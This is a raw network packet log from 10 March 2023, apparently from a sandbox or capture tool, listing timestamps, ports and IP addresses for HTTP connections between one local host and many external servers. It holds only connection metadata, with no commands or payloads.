Mar 10, 2023 07:54:39.227305889 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.227310896 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.227329969 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.227333069 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.227368116 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.227396011 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.235235929 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.235266924 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.235285997 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.235304117 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.235323906 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.235336065 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.235388041 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.235447884 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.235491037 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.235507011 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.235548019 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.235575914 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.235610008 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.235619068 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.235630035 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.235650063 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.235677958 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.236098051 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.236118078 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.236135960 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.236151934 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.236154079 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.236182928 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.236226082 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.237395048 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.237454891 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.237464905 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.237473965 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.237493038 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.237505913 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.237524033 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.237531900 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.237580061 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.238035917 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.238056898 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.238075018 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.238094091 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.238096952 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.238123894 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.238141060 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.238163948 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.238871098 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.238946915 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.238970995 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.238991022 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.239008904 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.239020109 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.239027977 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.239039898 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.239059925 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.239928007 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.239948034 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.240052938 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.240072966 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.240091085 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.240143061 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.240159988 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.240890980 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.240912914 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.240930080 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.240948915 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.240967035 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.240968943 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.240995884 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.241027117 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.241486073 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.241540909 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.241573095 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.241591930 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.241610050 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.241624117 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.241628885 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.241667032 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.241698027 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.242609978 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.242629051 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.242816925 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.242846966 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.248115063 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.248173952 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.248203993 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.248225927 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.248239040 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.248287916 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.248476028 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.248497009 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.248512030 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.248524904 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.248538971 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.248616934 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.249315023 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.249347925 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.249377012 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.249398947 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.249407053 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.249425888 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.249435902 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.249449968 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.249475956 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.251800060 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.251835108 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.251863003 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.251893044 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.251903057 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.251923084 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.251929045 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.251951933 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.251977921 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.252233028 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.252264977 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.252290010 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.252291918 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.252305984 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.252321959 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.252326965 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.252351999 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.252363920 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.252388954 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.253287077 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.253317118 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.253345013 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.253346920 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.253370047 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.253374100 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.253388882 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.253398895 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.253410101 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.253437996 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.257828951 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.257862091 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.257891893 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.257920027 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.257922888 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.257949114 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.257951021 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.257977009 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.258001089 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.258011103 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.258021116 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.258065939 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.265783072 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.265855074 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.265944958 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.265952110 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.265974998 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.266005993 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.266033888 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.266056061 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.266067028 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.266103029 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.266104937 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.266151905 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.266151905 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.266195059 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.268098116 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.268140078 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.268184900 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.268217087 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.268215895 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.268248081 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.268256903 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.268275976 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.268297911 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.268321991 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.268532991 CET	80	49826	172.67.70.223	192.168.2.6
Mar 10, 2023 07:54:39.268580914 CET	49826	80	192.168.2.6	172.67.70.223
Mar 10, 2023 07:54:39.591602087 CET	49827	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:39.601357937 CET	49828	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:39.605396986 CET	49829	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:39.625479937 CET	80	49829	188.165.133.163	192.168.2.6
Mar 10, 2023 07:54:39.625761986 CET	49829	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:39.629547119 CET	80	49827	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:39.629730940 CET	49827	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:39.631634951 CET	80	49828	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:39.631789923 CET	49828	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:39.645880938 CET	49829	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:39.645931959 CET	49828	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:39.645944118 CET	49827	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:39.665944099 CET	80	49829	188.165.133.163	192.168.2.6
Mar 10, 2023 07:54:39.666022062 CET	80	49829	188.165.133.163	192.168.2.6
Mar 10, 2023 07:54:39.666125059 CET	49829	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:39.676280975 CET	80	49828	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:39.676748037 CET	80	49828	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:39.676843882 CET	49828	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:39.683917999 CET	80	49827	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:39.684392929 CET	80	49827	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:39.684724092 CET	49827	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:39.716387987 CET	49830	80	192.168.2.6	104.21.55.224
Mar 10, 2023 07:54:39.716466904 CET	49831	80	192.168.2.6	193.166.255.171
Mar 10, 2023 07:54:39.733197927 CET	80	49830	104.21.55.224	192.168.2.6
Mar 10, 2023 07:54:39.733361959 CET	49830	80	192.168.2.6	104.21.55.224
Mar 10, 2023 07:54:39.747458935 CET	49830	80	192.168.2.6	104.21.55.224
Mar 10, 2023 07:54:39.759574890 CET	49832	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:39.764195919 CET	80	49830	104.21.55.224	192.168.2.6
Mar 10, 2023 07:54:39.774244070 CET	80	49830	104.21.55.224	192.168.2.6
Mar 10, 2023 07:54:39.774444103 CET	49827	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:39.774858952 CET	49830	80	192.168.2.6	104.21.55.224
Mar 10, 2023 07:54:39.774859905 CET	49829	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:39.776514053 CET	80	49832	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:39.776647091 CET	49832	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:39.795001984 CET	80	49829	188.165.133.163	192.168.2.6
Mar 10, 2023 07:54:39.795233011 CET	49829	80	192.168.2.6	188.165.133.163
Mar 10, 2023 07:54:39.812968016 CET	80	49827	135.181.73.98	192.168.2.6
Mar 10, 2023 07:54:39.813323975 CET	49827	80	192.168.2.6	135.181.73.98
Mar 10, 2023 07:54:39.827316999 CET	49828	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:39.847147942 CET	49832	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:39.859337091 CET	80	49828	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:39.859436035 CET	49828	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:39.864031076 CET	80	49832	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:39.875058889 CET	80	49832	188.114.97.3	192.168.2.6
Mar 10, 2023 07:54:39.875237942 CET	49832	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:54:39.916380882 CET	49833	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:39.925159931 CET	80	49822	82.201.61.230	192.168.2.6
Mar 10, 2023 07:54:39.925283909 CET	49822	80	192.168.2.6	82.201.61.230
Mar 10, 2023 07:54:39.953242064 CET	80	49833	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:39.953444004 CET	49833	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:40.118272066 CET	49834	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:40.119280100 CET	49833	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:40.124579906 CET	49835	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:40.156145096 CET	80	49833	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:40.174237967 CET	80	49833	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:40.174334049 CET	49833	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:40.293694973 CET	49792	80	192.168.2.6	198.100.146.220
Mar 10, 2023 07:54:40.300858974 CET	49833	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:40.336222887 CET	49836	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:40.339365959 CET	49837	80	192.168.2.6	46.242.238.60
Mar 10, 2023 07:54:40.342956066 CET	80	49783	103.3.1.161	192.168.2.6
Mar 10, 2023 07:54:40.343050957 CET	49783	80	192.168.2.6	103.3.1.161
Mar 10, 2023 07:54:40.353332996 CET	80	49836	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:40.353518963 CET	49836	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:40.354079962 CET	80	49833	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:40.354209900 CET	49833	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:40.371995926 CET	80	49837	46.242.238.60	192.168.2.6
Mar 10, 2023 07:54:40.372168064 CET	49837	80	192.168.2.6	46.242.238.60
Mar 10, 2023 07:54:40.405241013 CET	80	49834	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:40.405391932 CET	49834	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:40.405858040 CET	80	49835	202.254.236.40	192.168.2.6
Mar 10, 2023 07:54:40.405946970 CET	49835	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:40.425697088 CET	49837	80	192.168.2.6	46.242.238.60
Mar 10, 2023 07:54:40.425765038 CET	49836	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:40.426413059 CET	49834	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:40.427442074 CET	49835	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:40.427443027 CET	49839	80	192.168.2.6	54.161.222.85
Mar 10, 2023 07:54:40.427647114 CET	49840	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:40.427663088 CET	49838	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:54:40.442749023 CET	80	49836	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:40.458323956 CET	80	49837	46.242.238.60	192.168.2.6
Mar 10, 2023 07:54:40.459193945 CET	80	49837	46.242.238.60	192.168.2.6
Mar 10, 2023 07:54:40.459317923 CET	49837	80	192.168.2.6	46.242.238.60
Mar 10, 2023 07:54:40.552099943 CET	80	49840	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:40.552227974 CET	49840	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:40.572031975 CET	80	49839	54.161.222.85	192.168.2.6
Mar 10, 2023 07:54:40.572170019 CET	49839	80	192.168.2.6	54.161.222.85
Mar 10, 2023 07:54:40.572658062 CET	49840	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:40.592926025 CET	80	49838	69.163.239.62	192.168.2.6
Mar 10, 2023 07:54:40.593267918 CET	49838	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:54:40.623665094 CET	49839	80	192.168.2.6	54.161.222.85
Mar 10, 2023 07:54:40.626003027 CET	49838	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:54:40.657205105 CET	80	49836	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:40.657239914 CET	80	49836	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:40.657284021 CET	49836	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:40.657332897 CET	49836	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:40.697196960 CET	80	49840	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:40.702542067 CET	49841	80	192.168.2.6	64.125.133.18
Mar 10, 2023 07:54:40.704704046 CET	80	49840	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:40.704790115 CET	49840	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:40.709306955 CET	80	49835	202.254.236.40	192.168.2.6
Mar 10, 2023 07:54:40.710629940 CET	80	49835	202.254.236.40	192.168.2.6
Mar 10, 2023 07:54:40.710714102 CET	49835	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:40.713965893 CET	80	49834	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:40.714004040 CET	80	49834	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:40.714090109 CET	49834	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:40.720952034 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:40.738110065 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:40.738257885 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:40.767713070 CET	80	49839	54.161.222.85	192.168.2.6
Mar 10, 2023 07:54:40.767757893 CET	80	49839	54.161.222.85	192.168.2.6
Mar 10, 2023 07:54:40.767824888 CET	49839	80	192.168.2.6	54.161.222.85
Mar 10, 2023 07:54:40.767855883 CET	49839	80	192.168.2.6	54.161.222.85
Mar 10, 2023 07:54:40.789870024 CET	49836	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:40.790360928 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:40.790687084 CET	49840	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:40.790931940 CET	80	49838	69.163.239.62	192.168.2.6
Mar 10, 2023 07:54:40.791348934 CET	80	49838	69.163.239.62	192.168.2.6
Mar 10, 2023 07:54:40.791436911 CET	49838	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:54:40.806808949 CET	80	49836	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:40.807104111 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:40.826560974 CET	49834	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:40.826586962 CET	49839	80	192.168.2.6	54.161.222.85
Mar 10, 2023 07:54:40.851416111 CET	49838	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:54:40.852745056 CET	49835	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:40.865657091 CET	49843	80	192.168.2.6	54.161.222.85
Mar 10, 2023 07:54:40.920253038 CET	80	49840	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:40.920447111 CET	49840	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:40.931339979 CET	80	49836	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:40.931375027 CET	80	49836	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:40.931488037 CET	49836	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:40.970415115 CET	80	49839	54.161.222.85	192.168.2.6
Mar 10, 2023 07:54:41.007242918 CET	80	49796	80.93.82.33	192.168.2.6
Mar 10, 2023 07:54:41.007340908 CET	49796	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:41.010392904 CET	80	49843	54.161.222.85	192.168.2.6
Mar 10, 2023 07:54:41.010528088 CET	49843	80	192.168.2.6	54.161.222.85
Mar 10, 2023 07:54:41.016326904 CET	80	49838	69.163.239.62	192.168.2.6
Mar 10, 2023 07:54:41.016721010 CET	80	49838	69.163.239.62	192.168.2.6
Mar 10, 2023 07:54:41.016841888 CET	49838	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:54:41.114733934 CET	80	49834	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:41.114994049 CET	49834	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:41.135210991 CET	80	49835	202.254.236.40	192.168.2.6
Mar 10, 2023 07:54:41.135325909 CET	49835	80	192.168.2.6	202.254.236.40
Mar 10, 2023 07:54:41.217948914 CET	49843	80	192.168.2.6	54.161.222.85
Mar 10, 2023 07:54:41.294565916 CET	80	49799	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:41.294728994 CET	49799	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:41.330210924 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.330246925 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.330261946 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.330276966 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.330290079 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.330303907 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.330322981 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.330334902 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.330353975 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.330373049 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.330394983 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.330398083 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.330420971 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.330444098 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.330445051 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.330461979 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.330477953 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.330862045 CET	80	49842	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:41.330934048 CET	49842	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:41.359743118 CET	80	49833	81.2.194.241	192.168.2.6
Mar 10, 2023 07:54:41.359921932 CET	49833	80	192.168.2.6	81.2.194.241
Mar 10, 2023 07:54:41.362178087 CET	80	49843	54.161.222.85	192.168.2.6
